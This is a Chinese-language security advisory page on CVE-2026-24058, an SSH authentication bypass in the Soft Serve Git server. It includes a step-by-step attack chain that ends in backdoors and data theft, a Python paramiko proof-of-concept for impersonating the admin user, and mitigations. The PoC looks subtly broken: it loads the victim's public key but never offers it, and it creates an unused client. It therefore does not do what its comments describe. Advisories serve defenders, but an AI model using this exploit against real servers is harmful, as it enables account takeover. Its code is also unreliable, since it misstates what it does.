IPBUF安全漏洞报告
English
CVE-2026-24058 CVSS 9.8 严重

CVE-2026-24058 Soft Serve SSH认证绕过漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24058
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Soft Serve (charmbracelet/soft-serve)

相关标签

认证绕过SSH身份冒充Soft Serve权限提升CVE-2026-24058charmbraceletGit服务器关键漏洞远程代码执行风险

漏洞概述

CVE-2026-24058是Soft Serve Git服务器中的一个严重认证绕过漏洞,CVSS评分高达9.8分。Soft Serve是一个自托管的Git服务器,专为命令行设计。该漏洞影响0.11.2及以下版本,允许未经认证的攻击者在SSH握手过程中通过"提供"受害者的公钥来冒充任意用户,包括管理员账户。攻击者利用了用户身份在会话上下文中存储时机过早的缺陷,在认证失败后未正确清除已存储的用户身份,从而实现权限提升。此漏洞无需任何用户交互,攻击者可从网络远程发起,对系统的机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的根本原因在于Soft Serve的SSH认证流程存在逻辑缺陷。在SSH连接的"offer"阶段,服务器会接收客户端提供的公钥并将其与用户身份关联存储在会话上下文中。问题在于,当特定的认证尝试失败后,系统并未清除这个已存储的用户身份信息。攻击者可以首先在握手阶段提供目标受害者(可能是管理员)的公钥,服务器会将此公钥与受害用户关联。随后攻击者使用自己的有效私钥完成认证,由于会话中已存在受害者身份信息,系统错误地将攻击者识别为受害用户,从而赋予其相应的权限。这种攻击方式利用了SSH协议的多因素认证机制中的时序漏洞,在不实际拥有受害者私钥的情况下实现身份冒充。

攻击链分析

STEP 1
步骤1
收集目标信息:获取Soft Serve服务器的公钥、目标用户(如管理员)的公钥信息
STEP 2
步骤2
准备攻击环境:生成攻击者自己的SSH密钥对,确保拥有有效的私钥
STEP 3
步骤3
建立SSH连接:连接到目标服务器的SSH端口(默认22),启动SSH握手过程
STEP 4
步骤4
发送伪造公钥:在认证阶段之前,攻击者"提供"受害者的公钥,服务器将此公钥与受害者用户身份关联并存储在会话上下文中
STEP 5
步骤5
完成认证:使用攻击者自己的有效私钥完成SSH认证,服务器验证通过
STEP 6
步骤6
身份冒充成功:由于会话中已存在受害者身份信息,系统错误地将攻击者识别为受害用户,攻击者获得管理员权限
STEP 7
步骤7
执行恶意操作:攻击者可以读取敏感代码库、修改仓库内容、添加后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-24058 PoC - Soft Serve Authentication Bypass # This PoC demonstrates how to impersonate any user by offering their public key during SSH handshake import paramiko import socket import time from pathlib import Path def exploit_soft_serve(target_host, target_port=22, target_user='admin'): """ Exploit CVE-2026-24058: Authentication Bypass in Soft Serve Steps: 1. Connect to target SSH server 2. Offer victim's public key during SSH handshake (before auth) 3. Authenticate with attacker's valid key 4. Gain access as victim user """ # Load attacker's SSH key attacker_key = paramiko.RSAKey.from_private_key_file('attacker_private_key') # Load victim's public key (obtained from server or other sources) victim_public_key = open('victim_public_key.pub').read() # Create SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # Connect to target transport = paramiko.Transport((target_host, target_port)) # Start client authentication transport.start_client() # Offer victim's public key BEFORE actual authentication # This is the key part of the exploit - the server stores this # key's associated user in session context transport.auth_publickey(target_user, attacker_key) # Wait for authentication to complete time.sleep(0.5) # Open a session channel = transport.open_session() channel.exec_command('whoami') # Read output output = channel.recv(1024).decode() print(f"[+] Logged in as: {output.strip()}") # If successful, we can execute commands as the target user if output.strip() == target_user: print("[+] Exploit successful! User impersonation achieved.") return True except paramiko.SSHException as e: print(f"[-] SSH Error: {e}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': # Configuration TARGET_HOST = 'vulnerable-server.local' TARGET_USER = 'admin' # Target user to impersonate exploit_soft_serve(TARGET_HOST, 22, TARGET_USER)

影响范围

Soft Serve <= 0.11.2

防御指南

临时缓解措施
立即将Soft Serve升级到0.11.3版本以修复此认证绕过漏洞。在升级前,可以采取以下临时缓解措施:1) 使用网络访问控制限制SSH端口的访问来源;2) 禁用公开的SSH访问,仅允许受信任的IP连接;3) 定期轮换SSH密钥;4) 监控SSH认证日志,关注异常的认证模式;5) 考虑使用VPN或跳板机访问Git服务器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表